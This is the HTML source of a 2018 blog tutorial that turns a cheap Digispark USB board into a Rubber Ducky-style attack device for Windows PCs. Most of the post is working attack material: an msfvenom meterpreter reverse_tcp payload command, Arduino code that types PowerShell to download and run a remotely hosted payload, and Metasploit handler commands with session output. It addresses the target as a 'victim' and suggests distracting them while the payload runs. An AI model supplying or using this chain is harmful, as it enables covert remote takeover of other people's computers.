n0x.io/public/posts/digispark_reverseshell/index.html

362 lines
14 KiB
HTML
Raw Normal View History

2021-05-26 00:06:52 +02:00
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="Content-Language" content="en">
<meta name="color-scheme" content="light dark">
<meta name="author" content="_N0x">
<meta name="description" content="Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it.">
<meta name="keywords" content="blog,developer,personal">
<meta name="twitter:card" content="summary"/>
<meta name="twitter:title" content="Digispark_ReverseShell"/>
<meta name="twitter:description" content="Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it."/>
<meta property="og:title" content="Digispark_ReverseShell" />
<meta property="og:description" content="Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky Some of you might already have heard of it: The USB Rubber Ducky by Hak5. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it." />
<meta property="og:type" content="article" />
<meta property="og:url" content="https://n0x.io/posts/digispark_reverseshell/" /><meta property="article:section" content="posts" />
<meta property="article:published_time" content="2018-01-20T17:03:46&#43;01:00" />
<meta property="article:modified_time" content="2018-01-20T17:03:46&#43;01:00" />
<title>
Digispark_ReverseShell · n0x.io
</title>
<link rel="canonical" href="https://n0x.io/posts/digispark_reverseshell/">
<link rel="preload" href="https://n0x.io/fonts/forkawesome-webfont.woff2?v=1.2.0" as="font" type="font/woff2" crossorigin>
<link rel="stylesheet" href="https://n0x.io/css/coder.min.93c41bf1e522f85ecda7355985f09000f71fc1d64dda9f74051b0fa06210e93f.css" integrity="sha256-k8Qb8eUi&#43;F7NpzVZhfCQAPcfwdZN2p90BRsPoGIQ6T8=" crossorigin="anonymous" media="screen" />
<link rel="stylesheet" href="https://n0x.io/css/coder-dark.min.f37febc669ce189201c1918fac1948a254686c8d366a312c2d72b2bb71ad97d1.css" integrity="sha256-83/rxmnOGJIBwZGPrBlIolRobI02ajEsLXKyu3Gtl9E=" crossorigin="anonymous" media="screen" />
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-32x32.png" sizes="32x32">
<link rel="icon" type="image/png" href="https://n0x.io/images/favicon-16x16.png" sizes="16x16">
<link rel="apple-touch-icon" href="https://n0x.io/images/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="180x180" href="https://n0x.io/images/apple-touch-icon.png">
<meta name="generator" content="Hugo 0.83.1" />
</head>
<body class="preload-transitions colorscheme-dark"
onload=""
>
<div class="float-container">
<a id="dark-mode-toggle" class="colorscheme-toggle">
<i class="fa fa-adjust fa-fw" aria-hidden="true"></i>
</a>
</div>
<main class="wrapper">
<nav class="navigation">
<section class="container">
<a class="navigation-title" href="https://n0x.io/">
n0x.io
</a>
<input type="checkbox" id="menu-toggle" />
<label class="menu-button float-right" for="menu-toggle">
<i class="fa fa-bars fa-fw" aria-hidden="true"></i>
</label>
<ul class="navigation-list">
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/posts/">Blog</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://n0x.io/about/">About</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://cloud.n0x.io/">Cloud</a>
</li>
<li class="navigation-item">
<a class="navigation-link" href="https://git.n0x.io/">Git</a>
</li>
</ul>
</section>
</nav>
<div class="content">
<section class="container post">
<article>
<header>
<div class="post-title">
<h1 class="title">
<a class="title-link" href="https://n0x.io/posts/digispark_reverseshell/">
Digispark_ReverseShell
</a>
</h1>
</div>
<div class="post-meta">
<div class="date">
<span class="posted-on">
<i class="fa fa-calendar" aria-hidden="true"></i>
<time datetime='2018-01-20T17:03:46&#43;01:00'>
January 20, 2018
</time>
</span>
<span class="reading-time">
<i class="fa fa-clock-o" aria-hidden="true"></i>
5-minute read
</span>
</div>
</div>
</header>
<div>
<h1 id="reverse-shell-for-150---digispark-instead-of-usb-rubber-ducky">
Reverse Shell for 1,50€ - Digispark instead of USB Rubber Ducky
<a class="heading-link" href="#reverse-shell-for-150---digispark-instead-of-usb-rubber-ducky">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h1>
<p>Some of you might already have heard of it: The <a href="https://hakshop.com/products/usb-rubber-ducky-deluxe">USB Rubber Ducky by Hak5</a>. A very special USB-Device: Not only a mass storage device but any usb input-device you want it to be. Because of this you can use it for some very nice ways to get your payload onto a victims PC. The Rubber Ducky is freely programmable so there are no limits on what you can do with it. The only problem is the high (but reasonable) price of $45. In this tutorial I will show you how you can use the Digispark USB Deveoplment Board as a cheap alternative. As an example we will be creating a reverse shell, that will be launched when you plug the Digispark into a windows PC.</p>
<h2 id="you-will-need">
You will need:
<a class="heading-link" href="#you-will-need">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<ul>
<li><a href="http://digistump.com/products/1">Digispark USB Development Board</a></li>
<li><a href="https://www.kali.org/">Kali Linux</a> with <a href="https://www.metasploit.com/">Metasploid-Framework</a></li>
</ul>
<h2 id="digispark-usb-development-board">
Digispark USB Development Board
<a class="heading-link" href="#digispark-usb-development-board">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>The Digispark from Digistump is a tiny, programmable micro-controller that can be programmed with the <a href="https://www.arduino.cc/en/main/software">Arduino-IDE</a>. The syntax is very similar to the one of Arduino-Boards. A tutorial on how to set the IDE up for the Digispark can be found here: <a href="http://digistump.com/wiki/digispark/tutorials/connecting">Connecting and Programming Your Digispark</a></p>
<p>I bought a bunch of Digisparks of eBay for little money. They aren&rsquo;t original (you can tell from the &ldquo;rev3&rdquo; which was never released) but they still are fully functional and perfect for our purposes.</p>
<p>For a nice video to set the Digispark up, check out this <a href="https://www.youtube.com/watch?v=fGmGBa-4cYQ">tutorial by Seytonic</a></p>
<h2 id="creating-the-payload">
Creating the Payload
<a class="heading-link" href="#creating-the-payload">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>First of all we need to create the payload that will be deployed and executed by the Digispark on our target machine. We will use <a href="https://www.offensive-security.com/metasploit-unleashed/msfvenom/">MSFvenom</a> for this.</p>
<pre><code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f psh-cmd
</code></pre>
<p>You need to replace the LHOST parameter with you IP address. You also could use your domain and use the reverse shell even outside of your network.</p>
<p>Now&hellip; here we find the first difficulty. Unlike the Rubber Ducky which can use a SD-card of any size, the Digispark only has 6kb of internal memory and the library we are going to need to use the Digispark as a Keyboard itself has about 2,4kb. So there is no space to place the payload directly on it.
To get our payload on the victim-PC we need to make it accessible on the web. We could use a local web-server, upload the plain payload to <a href="http://pastebin.com/">pastebin</a> or just place it on our webspace.</p>
<h2 id="programming-the-digispark">
Programming The Digispark
<a class="heading-link" href="#programming-the-digispark">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>After we&rsquo;ve created the Payload we can start with programming the Digispark! Here we have to keep in mind that to program the Digispark you have to work with a US-Keyboard-Layout, this means you have to account for special characters and such if your keyboard layout is one of foreign origin.</p>
<p>The Sourcecode for the Digispark:</p>
<pre><code>#include &quot;DigiKeyboard.h&quot;
/* US-KEYBOARD-LAYOUT ONLY!!
*
* still needs some testing... but should work
*
* Made by _N0x
* Thanks to Alex (http://0xdeadcode.se/archives/581) for the idea of using a small powershell payload.
*/
void setup() {
// Adding some LED-effects just for fun ;)
pinMode(1, OUTPUT);
delay(100);
// WIN+r, delete content, start powershell
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // WIN+r
delay(100);
DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean it up
delay(50);
DigiKeyboard.println(&quot;powershell&quot;);
delay(500);
// turn the LED on
digitalWrite(1, HIGH);
// $url = '...' --&gt; URL to Payload
DigiKeyboard.println(&quot;$url = 'LINK_TO_HOSTET_PAYLOAD'&quot;);
delay(50);
// $result = Invoke-WebRequest -Uri $url
DigiKeyboard.println(&quot;$result = Invoke-WebRequest -Uri $url&quot;);
delay(50);
// powershell.exe -nop -e $result.content
DigiKeyboard.println(&quot;powershell.exe -nop -e $result.content&quot;);
// turn off the led if the payload is places and executed
digitalWrite(1, LOW);
delay(1500);
DigiKeyboard.println(&quot;exit&quot;);
}
void loop() {
// if done with the scripts LED starts blinking
digitalWrite(1, HIGH);
delay(150);
digitalWrite(1, LOW);
delay(500);
}
</code></pre>
<p>In principle you can leave the script unchanged and only change the URL for the Payload, so that the Payload you chose can be downloaded. The Digispark should now be ready for use! Before you storm out and try to plug it into the next best USB-Port though, you should prepare Kali Linux so that your Reverse-Shell Session can be accessed directly and as soon as needed.</p>
<h2 id="preparing-msfconsole">
Preparing MSFconsole
<a class="heading-link" href="#preparing-msfconsole">
<i class="fa fa-link" aria-hidden="true"></i>
</a>
</h2>
<p>To prepare the receiving-end for the Reverse-Shell, open a Terminal on your Kali Linux system and start MSFconsole by entering</p>
<pre><code>root@kali:~# msfconsole
</code></pre>
<p>Then specify what exploit you want to use:</p>
<pre><code>msf &gt; use exploit/multi/handler
</code></pre>
<p>Now there are still some parameters we have to determine:</p>
<pre><code>msf exploit(handler) &gt; set payload windows/meterpreter/reverse_tcp
payload =&gt; windows/meterpreter/reverse_tcp
msf exploit(handler) &gt; set LHOST 10.0.0.10
LHOST =&gt; 10.0.0.10
msf exploit(handler) &gt; set LPORT 4444
LPORT =&gt; 4444
</code></pre>
<p>Replace the vlaue of LHOST with the IP/Domain you used when creating the payload with MSFconsole</p>
<p>To finish things off we have to tell our Console that it has to wait for a new session:</p>
<pre><code>msf exploit(handler) &gt; exploit -z -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 10.0.0.10:4444
[*] Starting the payload handler...
</code></pre>
<p>Now it&rsquo;s done! You can search for the next best PC to test your Digispark out! After you plug your Digispark in a Powershell will be opened and then closed, within this timeframe you have to distract your victim, after your USB Dev. Board starts to blink fastly you know your script has been executed and you can unplug the Digispark. If everything went how it should&rsquo;ve your console should display this:</p>
<pre><code>msf exploit(handler) &gt; [*] Sending stage (957487 bytes) to 10.0.0.3
[*] Meterpreter session 1 opened (10.0.0.10:4444 -&gt; 10.0.0.3:49678) at 2017-02-06 20:25:36 +0100
</code></pre>
<p>At last you have to pin your session, like this:</p>
<pre><code>msf exploit(handler) &gt; sessions -i 1
[*] Starting interaction with 1...
meterpreter &gt;
</code></pre>
<p>And now: Congratulations! You now have a Reverse-Shell on your victims PC! With the command &ldquo;help&rdquo; you can see what you can do now.</p>
<p>Have fun, Good luck, Stay safe and don&rsquo;t let yourself get distracted by people with a Digispark! :D</p>
</div>
<footer>
</footer>
</article>
</section>
</div>
<footer class="footer">
<section class="container">
©
2018 -
2021
_N0x
·
Powered by <a href="https://gohugo.io/">Hugo</a> & <a href="https://github.com/luizdepra/hugo-coder/">Coder</a>.
</section>
</footer>
</main>
<script src="https://n0x.io/js/coder.min.235666b114443867d43eeb5799d51f6252965e5163f338285e113fa381d3d27e.js" integrity="sha256-I1ZmsRREOGfUPutXmdUfYlKWXlFj8zgoXhE/o4HT0n4="></script>
</body>
</html>